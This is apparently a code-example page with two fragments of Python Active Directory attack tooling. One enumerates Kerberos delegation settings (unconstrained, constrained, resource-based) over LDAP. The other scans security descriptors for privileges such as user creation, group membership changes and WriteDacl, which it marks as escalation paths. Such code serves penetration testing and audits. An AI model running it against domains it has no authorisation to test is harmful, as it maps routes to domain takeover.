            if self.__doKerberos is not True:
                ldapConnection.login(self.__username, self.__password,
                                     self.__domain, self.__lmhash,
                                     self.__nthash)
            else:
                ldapConnection.kerberosLogin(self.__username,
                                             self.__password,
                                             self.__domain,
                                             self.__lmhash,
                                             self.__nthash,
                                             self.__aesKey,
                                             kdcHost=self.__kdcHost)
        except ldap.LDAPSessionError as e:
            if str(e).find('strongerAuthRequired') >= 0:
                # We need to try SSL
                ldapConnection = ldap.LDAPConnection('ldaps://%s' % target,
                                                     self.baseDN,
                                                     self.__kdcHost)
                if self.__doKerberos is not True:
                    ldapConnection.login(self.__username, self.__password,
                                         self.__domain, self.__lmhash,
                                         self.__nthash)
                else:
                    ldapConnection.kerberosLogin(self.__username,
                                                 self.__password,
                                                 self.__domain,
                                                 self.__lmhash,
                                                 self.__nthash,
                                                 self.__aesKey,
                                                 kdcHost=self.__kdcHost)
            else:
                raise

        searchFilter = "(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)(UserAccountControl:1.2.840.113556.1.4.803:=" \
                       "524288)(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" \
                       "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(UserAccountControl:1.2.840.113556.1.4.803:=8192)))"

        try:
            resp = ldapConnection.search(
                searchFilter=searchFilter,
                attributes=[
                    'sAMAccountName', 'pwdLastSet', 'userAccountControl',
                    'objectCategory',
                    'msDS-AllowedToActOnBehalfOfOtherIdentity',
                    'msDS-AllowedToDelegateTo'
                ],
                sizeLimit=999)
        except ldap.LDAPSearchError as e:
            if e.getErrorString().find('sizeLimitExceeded') >= 0:
                logging.debug(
                    'sizeLimitExceeded exception caught, giving up and processing the data received'
                )
                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
                # paged queries
                resp = e.getAnswers()
                pass
            else:
                raise

        answers = []
        logging.debug('Total of records returned %d' % len(resp))

        for item in resp:
            if isinstance(item, ldapasn1.SearchResultEntry) is not True:
                continue
            mustCommit = False
            sAMAccountName = ''
            userAccountControl = 0
            delegation = ''
            objectType = ''
            rightsTo = []
            protocolTransition = 0

            #after receiving responses we parse through to determine the type of delegation configured on each object
            try:
                for attribute in item['attributes']:
                    if str(attribute['type']) == 'sAMAccountName':
                        sAMAccountName = str(attribute['vals'][0])
                        mustCommit = True
                    elif str(attribute['type']) == 'userAccountControl':
                        userAccountControl = str(attribute['vals'][0])
                        if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION:
                            delegation = 'Unconstrained'
                            rightsTo.append("N/A")
                        elif int(userAccountControl
                                 ) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:
                            delegation = 'Constrained w/ Protocol Transition'
                            protocolTransition = 1
                    elif str(attribute['type']) == 'objectCategory':
                        objectType = str(
                            attribute['vals'][0]).split('=')[1].split(',')[0]
                    elif str(attribute['type']) == 'msDS-AllowedToDelegateTo':
                        if protocolTransition == 0:
                            delegation = 'Constrained'
                        for delegRights in attribute['vals']:
                            rightsTo.append(str(delegRights))

                    #not an elif as an object could both have rbcd and another type of delegation configured for the same object
                    if str(attribute['type']
                           ) == 'msDS-AllowedToActOnBehalfOfOtherIdentity':
                        rbcdRights = []
                        rbcdObjType = []
                        searchFilter = '(&(|'
                        sd = ldaptypes.SR_SECURITY_DESCRIPTOR(
                            data=bytes(attribute['vals'][0]))
                        for ace in sd['Dacl'].aces:
                            searchFilter = searchFilter + "(objectSid=" + ace[
                                'Ace']['Sid'].formatCanonical() + ")"
                        searchFilter = searchFilter + ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))"
                        delegUserResp = ldapConnection.search(
                            searchFilter=searchFilter,
                            attributes=['sAMAccountName', 'objectCategory'],
                            sizeLimit=999)
                        for item2 in delegUserResp:
                            if isinstance(
                                    item2,
                                    ldapasn1.SearchResultEntry) is not True:
                                continue
                            rbcdRights.append(
                                str(item2['attributes'][0]['vals'][0]))
                            rbcdObjType.append(
                                str(item2['attributes'][1]['vals'][0]).split(
                                    '=')[1].split(',')[0])

                        if mustCommit is True:
                            if int(userAccountControl) & UF_ACCOUNTDISABLE:
                                logging.debug(
                                    'Bypassing disabled account %s ' %
                                    sAMAccountName)
                            else:
                                for rights, objType in zip(
                                        rbcdRights, rbcdObjType):
                                    answers.append([
                                        rights, objType,
                                        'Resource-Based Constrained',
                                        sAMAccountName
                                    ])

                #print unconstrained + constrained delegation relationships
                if delegation in [
                        'Unconstrained', 'Constrained',
                        'Constrained w/ Protocol Transition'
                ]:
                    if mustCommit is True:
                        if int(userAccountControl) & UF_ACCOUNTDISABLE:
                            logging.debug('Bypassing disabled account %s ' %
                                          sAMAccountName)
                        else:
                            for rights in rightsTo:
                                answers.append([
                                    sAMAccountName, objectType, delegation,
                                    rights
                                ])
            except Exception as e:
                logging.error('Skipping item, cannot process due to error %s' %
                              str(e))
                pass

        if len(answers) > 0:
            self.printTable(answers,
                            header=[
                                "AccountName", "AccountType", "DelegationType",
                                "DelegationRightsTo"
                            ])
            print('\n\n')
        else:
            print("No entries found!")
예제 #18
0
    def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping,
                                 domainDumper):
        for entry in entries:
            if entry['type'] != 'searchResEntry':
                continue
            dn = entry['dn']
            try:
                sdData = entry['raw_attributes']['nTSecurityDescriptor'][0]
            except IndexError:
                # We don't have the privileges to read this security descriptor
                continue
            hasFullControl = False
            secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR()
            secDesc.fromString(sdData)
            if secDesc['OwnerSid'] != '' and secDesc[
                    'OwnerSid'].formatCanonical() in membersids:
                sid = secDesc['OwnerSid'].formatCanonical()
                LOG.debug(
                    'Permission found: Full Control on %s; Reason: Owner via %s'
                    % (dn, sidmapping[sid]))
                hasFullControl = True
            # Iterate over all the ACEs
            for ace in secDesc['Dacl'].aces:
                sid = ace['Ace']['Sid'].formatCanonical()
                if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace[
                        'AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE:
                    continue
                if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag(
                        ACE.INHERIT_ONLY_ACE):
                    # ACE is set on this object, but only inherited, so not applicable to us
                    continue
                # Check if the ACE has restrictions on object type
                if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \
                    and ace.hasFlag(ACE.INHERITED_ACE) \
                    and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT):
                    # Verify if the ACE applies to this object type
                    if not self.aceApplies(
                            ace, entry['raw_attributes']['objectClass']):
                        continue

                if sid in membersids:
                    if can_create_users(ace) or hasFullControl:
                        if not hasFullControl:
                            LOG.debug(
                                'Permission found: Create users in %s; Reason: Granted to %s'
                                % (dn, sidmapping[sid]))
                        if dn == 'CN=Users,%s' % domainDumper.root:
                            # We can create users in the default container, this is preferred
                            privs['create'] = True
                            privs['createIn'] = dn
                        else:
                            # Could be a different OU where we have access
                            # store it until we find a better place
                            if privs[
                                    'createIn'] != 'CN=Users,%s' % domainDumper.root and 'organizationalUnit' in entry[
                                        'raw_attributes']['objectClass']:
                                privs['create'] = True
                                privs['createIn'] = dn
                    if can_add_member(ace) or hasFullControl:
                        if 'group' in entry['raw_attributes']['objectClass']:
                            # We can add members to a group
                            if not hasFullControl:
                                LOG.debug(
                                    'Permission found: Add member to %s; Reason: Granted to %s'
                                    % (dn, sidmapping[sid]))
                            privs['escalateViaGroup'] = True
                            privs['escalateGroup'] = dn
                    if ace['Ace']['Mask'].hasPriv(
                            ACCESS_MASK.WRITE_DACL) or hasFullControl:
                        if not hasFullControl:
                            LOG.debug(
                                'Permission found: Write Dacl of %s; Reason: Granted to %s'
                                % (dn, sidmapping[sid]))
                        # We can modify the domain Dacl
                        if 'domain' in entry['raw_attributes']['objectClass']:
                            privs['aclEscalate'] = True
                            privs['aclEscalateIn'] = dn